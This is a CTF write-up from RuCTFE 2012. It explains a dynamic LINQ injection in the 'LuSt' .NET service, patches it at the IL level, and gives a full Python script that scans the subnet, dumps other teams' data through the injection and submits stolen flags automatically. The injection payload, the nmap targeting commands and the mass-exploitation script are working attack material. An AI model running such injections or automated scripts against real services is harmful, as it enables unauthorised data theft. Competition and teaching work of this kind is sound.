RuCTFE is “classic” (these days it’s more like “old-skool”) Attack/Defense security game where multiple teams (150) compete to hack each other vulnerable services hosted in a VirtualBox machine provided by the CTF organizers at the beginning of the contest. Read more here about this great CTF and the network setup: http://ructf.org/e/2012/
One of these vulnerable service was LuSt, a .NET executable running under Mono on the virtual machine:
LuSt.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
LuST is a luggage manager for a mexican (?) airline company. You can deposit your luggage, browse your list of luggage and get the description of a specific luggage.
When you put your first luggage, this will create a cookie in your browser so you can authenticate again later and browse your list of luggage.
Using .NET Reflector we can analyze, disassemble and patch this binary.
Building on System.net.HttpListener, we have 4 listeners: (comments are my own)
{
this.putListener.Start(); // Deposit your luggage
this.listListener.Start(); // Browse your luggages
this.getListener.Start(); // See description of one luggage
this.indexListener.Start(); // static files (html and assets)
}
Let see what happend when you deposit your first luggage:
if (this.db.IsKnownName(name) && !this.IsValidAuth(context, name, signature)) // compare signature cookie to computed signature
{
AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this known user");
}
else // new user
{
Guid id = Guid.NewGuid();
DbItem <>g__initLocal0 = new DbItem {
id = id,
name = name,
luggage = luggage
};
this.db.Insert(<>g__initLocal0);
SetCookies(context, name, signature); // send 2 cookies, 1 with name, 1 with signature
WriteResponse(context, Encoding.UTF8.GetBytes(id.ToString()), "text/plain; charset=utf-8");
}
The secure signing of the cookie is as follow, tough not really relevant for this exploit:
{
byte[] data = Encoding.GetEncoding(0x4e4).GetBytes(dataString); // name
byte[] buff = new byte[this.signKey.Length + data.Length]; // 32 random bytes generated at startup
Array.Copy(this.signKey, buff, this.signKey.Length);
Array.Copy(data, 0, buff, this.signKey.Length, data.Length);
return MD5.Create().ComputeHash(buff); // signature is md5(secret + name)
}
We can notice this signing is vulnerable to a hash extension attack because secret part is before the user-controled part, padding can be manipulated to create collisions. But this is not relevant to this exploit (name format is validated by a strict regex before so might be not trivial to achieve)
Let’s move to the browse luggage functionality:
If the pattern parameter is empty, you will list all luggages associated with that name:
http://10.23.19.3:1437/list?name=bigdaddy&pattern=
How does this works code-wise:
if (!this.IsValidAuth(context, name, signature)) // we need the secure signature cookie to authenticate
{
AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this user");
}
else
{
string pattern = args["pattern"];
WriteResponse(context, Encoding.UTF8.GetBytes(string.Join<Guid>(",", this.db.Find(name, pattern))), "text/plain; charset=utf-8");
}
Seems solid, lets move to the db.Find(name, pattern) function.
{
return this.items.Values.AsQueryable<DbItem>().Where<DbItem>(
string.Format("name = "{0}"{1}", name, !string.IsNullOrEmpty(pattern) ?
string.Format("and luggage.Contains("{0}")", pattern) : ""),
new object[0]).Select("id", new object[0]).Cast<Guid>().ToList<Guid>();
}
Interesting. This is an implementation of System.Linq.Queryable, the normal find query will be as this:
But with this format “string.Format(“and luggage.Contains(\”{0}\”)”, pattern)” we can happily insert into the query anything we want so we can have the following query:
URL parameters: name = ‘bigdaddy’, pattern = ‘”) or (“1″=”1’
Resulting query: name = “bigdaddy” and luggage.Contains(“”) or (“1″=”1”)
With this we bypass listing only our own luggages and will get a dump of the DB. You can see the valuable flags in the answer.
But, it’s all fun and games until you are pwned yourself so how can we patch this vulnerability ?
There is many ways to do this but in this particular scenario, a simple approach is to filter the luggage parameter to keep only alphanumeric character ([^A-Za-z0-9 ])
Using Reflexil we can alter and even add new opcodes to the db.Find() method.
Our new code we will put at the beginning of the db.Find method:
Which mean we need to add these new IL opcodes:
newobj System.Void System.Text.RegularExpressions.Regex::.ctor(System.String) // create object
stloc.0 // store our new object to local variable 0
ldloc.0 // push it on the stack for virtual call below
ldarg.2 // push 2nd parameter (luggage) to stack
ldstr // push empty string to stack
callvirt System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
stloc.1 // store result in local variable 1 (safepattern)
Then in the rest of the IL code, we replace “ldarg.2” by “ldloc.1” to use safepattern instead of pattern. See full IL disassembly:
0 ldarg.0
1 ldstr [^a-zA-Z0-9 ]
6 newobj System.Void System.Text.RegularExpressions.Regex::.ctor(System.String)
11 stloc.0
12 ldloc.0
13 ldarg.2
14 ldstr
19 callvirt System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
24 stloc.1
25 ldfld System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem> RuCTFE.LuSt.DB::items
30 callvirt System.Collections.Generic.ICollection`1<!1> System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem>::get_Values()
35 call System.Linq.IQueryable`1<!!0> System.Linq.Queryable::AsQueryable<RuCTFE.LuSt.DbItem>(System.Collections.Generic.IEnumerable`1<!!0>)
40 ldstr name = "{0}"{1}
45 ldarg.1
46 ldloc.1
47 call System.Boolean System.String::IsNullOrEmpty(System.String)
52 brfalse.s -> (19) ldstr and luggage.Contains("{0}")
54 ldstr
59 br.s -> (22) call System.String System.String::Format(System.String,System.Object,System.Object)
61 ldstr and luggage.Contains("{0}")
66 ldloc.1
67 call System.String System.String::Format(System.String,System.Object)
72 call System.String System.String::Format(System.String,System.Object,System.Object)
77 ldc.i4.0
78 newarr System.Object
83 call System.Linq.IQueryable`1<T> System.Linq.Dynamic.DynamicQueryable::Where<RuCTFE.LuSt.DbItem>(System.Linq.IQueryable`1<T>,System.String,System.Object[])
88 ldstr id
93 ldc.i4.0
94 newarr System.Object
99 call System.Linq.IQueryable System.Linq.Dynamic.DynamicQueryable::Select(System.Linq.IQueryable,System.String,System.Object[])
104 call System.Linq.IQueryable`1<!!0> System.Linq.Queryable::Cast<System.Guid>(System.Linq.IQueryable)
109 call System.Collections.Generic.List`1<!!0> System.Linq.Enumerable::ToList<System.Guid>(System.Collections.Generic.IEnumerable`1<!!0>)
114 ret
Since this is an attack/defense CTF, we need to automate this exploit so we can query all the other team services and steal their flags.
This python script will do this
– iterate over a target list created with
nmap -sS -P0 -oG targets -p 1437 10.23.*.3
cat targets | grep open | cut -d” ” -f2 | grep -v “10.23.19.3” > hosts
– Do the LINQ SQL injection to get the list of all the luggage GUIDs
– Query the GUID with the get method to get content
– Maintain a cache of already retrieved GUIDs to speed up the process when launching the script again
– Check if this is a probable flag and submit it to the flag validation service
– Sometime send some garbage to the validation service to avoid the connection timing out
import requests
import socket
import sys
import re
import random
import string
import pickle
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for x in range(size))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("flags.e.ructf.org", 10001))
submit = s.makefile(mode = "rb")
print submit.readline()
print submit.readline()
print submit.readline()
print submit.readline()
targets = open("hosts").readlines()
random.shuffle(targets)
#history = []
history = pickle.load(open("history","r"))
for target in targets:
target = target.rstrip()
name = id_generator(size=32)
garbage = "saucisse"
print "target=", target, "name=", name
flag = 0
try:
headers = {'X-Requested-With' : 'XMLHttpRequest'}
print "Put!"
resp = requests.get("http://" + target + ":1437/put?name=" + name + "&luggage=" + garbage, timeout = 3, headers = headers)
cookies = resp.cookies
cookies['name'] = cookies['name'][:-1]
print "List!"
getsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
getsocket.settimeout(3)
getsocket.connect((target, 1437))
getsocket.settimeout(None)
getsocket.send('GET /list?pattern="%29+or+%28"1"+%3D+"1&name=' + name + ' HTTP/1.0' + "\n")
getsocket.send("Host: " + target + ":1437\n")
getsocket.send("Cookie: name=" + cookies['name'] + "; signature=" + cookies['signature'] + "\n\n")
data = getsocket.recv(1024)
txt = ""
while len(data):
txt = txt + data
data = getsocket.recv(1024)
getsocket.close()
i = 0
for line in txt.split(','):
if len(line) != 36:
continue
if line in history:
print "Duplicated=", line
continue;
history.append(line)
print "Get=", line
params = {'Id' : line}
resp = requests.get("http://" + target + ":1437/get", timeout = 3, cookies = cookies, params = params)
txt = resp.text
print "Id=", txt
flag = txt[56:56+32]
if len(flag) == 32 and flag[31] == '=':
print "flag=", flag
submit.write(flag + "\n")
submit.flush()
print submit.readline()
flag = 1
if i % 8 == 0:
submit.write("next\n")
submit.flush()
print submit.readline()
i = i + 1
except:
#raise
pass
pickle.dump(history, open("history", "wb"))
if flag == 0:
submit.write("next\n")
submit.flush()
print submit.readline()
We had to use a raw socket for the /list part because we had a very weird bug with Python Requests not processing the answer and just sitting idle.
target= 10.23.19.3 name= 6ZMO16R46FZ5Y2STKYL6F7S7EGQY9CLY
Put!
List!
Get= 7f2b10e7-d7db-42ed-9c49-56cecc58a204
Id= {"id":"7f2b10e7-d7db-42ed-9c49-56cecc58a204","luggage":"dab43241fda2368b1f729d42134524=","name":"Lassmiranda Densiwillja 23273"}